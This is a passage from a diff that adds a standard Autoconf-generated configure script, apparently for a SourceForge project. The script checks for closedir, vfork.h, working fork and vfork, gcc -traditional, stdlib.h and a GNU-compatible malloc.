-f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_closedir_void" >&5 +echo "${ECHO_T}$ac_cv_func_closedir_void" >&6; } +if test $ac_cv_func_closedir_void = yes; then + +cat >>confdefs.h <<\_ACEOF +#define CLOSEDIR_VOID 1 +_ACEOF + +fi + + +for ac_header in vfork.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( cat <<\_ASBOX +## ------------------------------------------------ ## +## Report this to osace-users@lists.sourceforge.net ## +## ------------------------------------------------ ## +_ASBOX + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +for ac_func in fork vfork +do +as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_func" >&5 +echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6; } +if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define $ac_func to an innocuous variant, in case declares $ac_func. + For example, HP-UX 11i declares gettimeofday. */ +#define $ac_func innocuous_$ac_func + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $ac_func (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef $ac_func + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $ac_func (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$ac_func || defined __stub___$ac_func +choke me +#endif + +int +main () +{ +return $ac_func (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_var=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_var=no" +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_var'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_var'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 +_ACEOF + +fi +done + +if test "x$ac_cv_func_fork" = xyes; then + { echo "$as_me:$LINENO: checking for working fork" >&5 +echo $ECHO_N "checking for working fork... $ECHO_C" >&6; } +if test "${ac_cv_func_fork_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_fork_works=cross +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ + + /* By Ruediger Kuhlmann. */ + return fork () < 0; + + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_fork_works=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_fork_works=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_fork_works" >&5 +echo "${ECHO_T}$ac_cv_func_fork_works" >&6; } + +else + ac_cv_func_fork_works=$ac_cv_func_fork +fi +if test "x$ac_cv_func_fork_works" = xcross; then + case $host in + *-*-amigaos* | *-*-msdosdjgpp*) + # Override, as these systems have only a dummy fork() stub + ac_cv_func_fork_works=no + ;; + *) + ac_cv_func_fork_works=yes + ;; + esac + { echo "$as_me:$LINENO: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&5 +echo "$as_me: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&2;} +fi +ac_cv_func_vfork_works=$ac_cv_func_vfork +if test "x$ac_cv_func_vfork" = xyes; then + { echo "$as_me:$LINENO: checking for working vfork" >&5 +echo $ECHO_N "checking for working vfork... $ECHO_C" >&6; } +if test "${ac_cv_func_vfork_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_vfork_works=cross +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Thanks to Paul Eggert for this test. */ +$ac_includes_default +#include +#if HAVE_VFORK_H +# include +#endif +/* On some sparc systems, changes by the child to local and incoming + argument registers are propagated back to the parent. The compiler + is told about this with #include , but some compilers + (e.g. gcc -O) don't grok . Test for this by using a + static variable whose address is put into a register that is + clobbered by the vfork. */ +static void +#ifdef __cplusplus +sparc_address_test (int arg) +# else +sparc_address_test (arg) int arg; +#endif +{ + static pid_t child; + if (!child) { + child = vfork (); + if (child < 0) { + perror ("vfork"); + _exit(2); + } + if (!child) { + arg = getpid(); + write(-1, "", 0); + _exit (arg); + } + } +} + +int +main () +{ + pid_t parent = getpid (); + pid_t child; + + sparc_address_test (0); + + child = vfork (); + + if (child == 0) { + /* Here is another test for sparc vfork register problems. This + test uses lots of local variables, at least as many local + variables as main has allocated so far including compiler + temporaries. 4 locals are enough for gcc 1.40.3 on a Solaris + 4.1.3 sparc, but we use 8 to be safe. A buggy compiler should + reuse the register of parent for one of the local variables, + since it will think that parent can't possibly be used any more + in this routine. Assigning to the local variable will thus + munge parent in the parent process. */ + pid_t + p = getpid(), p1 = getpid(), p2 = getpid(), p3 = getpid(), + p4 = getpid(), p5 = getpid(), p6 = getpid(), p7 = getpid(); + /* Convince the compiler that p..p7 are live; otherwise, it might + use the same hardware register for all 8 local variables. */ + if (p != p1 || p != p2 || p != p3 || p != p4 + || p != p5 || p != p6 || p != p7) + _exit(1); + + /* On some systems (e.g. IRIX 3.3), vfork doesn't separate parent + from child file descriptors. If the child closes a descriptor + before it execs or exits, this munges the parent's descriptor + as well. Test for this by closing stdout in the child. */ + _exit(close(fileno(stdout)) != 0); + } else { + int status; + struct stat st; + + while (wait(&status) != child) + ; + return ( + /* Was there some problem with vforking? */ + child < 0 + + /* Did the child fail? (This shouldn't happen.) */ + || status + + /* Did the vfork/compiler bug occur? */ + || parent != getpid() + + /* Did the file descriptor bug occur? */ + || fstat(fileno(stdout), &st) != 0 + ); + } +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_vfork_works=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_vfork_works=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_vfork_works" >&5 +echo "${ECHO_T}$ac_cv_func_vfork_works" >&6; } + +fi; +if test "x$ac_cv_func_fork_works" = xcross; then + ac_cv_func_vfork_works=$ac_cv_func_vfork + { echo "$as_me:$LINENO: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&5 +echo "$as_me: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&2;} +fi + +if test "x$ac_cv_func_vfork_works" = xyes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_WORKING_VFORK 1 +_ACEOF + +else + +cat >>confdefs.h <<\_ACEOF +#define vfork fork +_ACEOF + +fi +if test "x$ac_cv_func_fork_works" = xyes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_WORKING_FORK 1 +_ACEOF + +fi + +if test $ac_cv_c_compiler_gnu = yes; then + { echo "$as_me:$LINENO: checking whether $CC needs -traditional" >&5 +echo $ECHO_N "checking whether $CC needs -traditional... $ECHO_C" >&6; } +if test "${ac_cv_prog_gcc_traditional+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_pattern="Autoconf.*'x'" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +Autoconf TIOCGETP +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "$ac_pattern" >/dev/null 2>&1; then + ac_cv_prog_gcc_traditional=yes +else + ac_cv_prog_gcc_traditional=no +fi +rm -f conftest* + + + if test $ac_cv_prog_gcc_traditional = no; then + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +Autoconf TCGETA +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "$ac_pattern" >/dev/null 2>&1; then + ac_cv_prog_gcc_traditional=yes +fi +rm -f conftest* + + fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_gcc_traditional" >&5 +echo "${ECHO_T}$ac_cv_prog_gcc_traditional" >&6; } + if test $ac_cv_prog_gcc_traditional = yes; then + CC="$CC -traditional" + fi +fi + + +for ac_header in stdlib.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( cat <<\_ASBOX +## ------------------------------------------------ ## +## Report this to osace-users@lists.sourceforge.net ## +## ------------------------------------------------ ## +_ASBOX + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + +{ echo "$as_me:$LINENO: checking for GNU libc compatible malloc" >&5 +echo $ECHO_N "checking for GNU libc compatible malloc... $ECHO_C" >&6; } +if test "${ac_cv_func_malloc_0_nonnull+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_malloc_0_nonnull=no +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#if STDC_HEADERS || HAVE_STDLIB_H +# include +#else +char *malloc (); +#endif + +int +main () +{ +return ! malloc (0); + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_malloc_0_nonnull=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_malloc_0_nonnull=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_malloc_0_nonnull" >&5 +echo "${ECHO_T}$ac_cv_func_malloc_0_nonnull" >&6; } +if test $ac_cv_func_malloc_0_nonnull = yes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_MALLOC 1 +_ACEOF + +else + cat >>confdefs.h <<\_ACEOF +#define HAVE_MALLOC 0 +_ACEOF + + case " $LIBOBJS " in + *" malloc.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS malloc.$ac_objext" + ;; +esac + + +cat >>confdefs.h <<\_ACEOF +#define malloc rpl_malloc +_ACEOF + +fi + + + + +for ac_header in stdlib.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 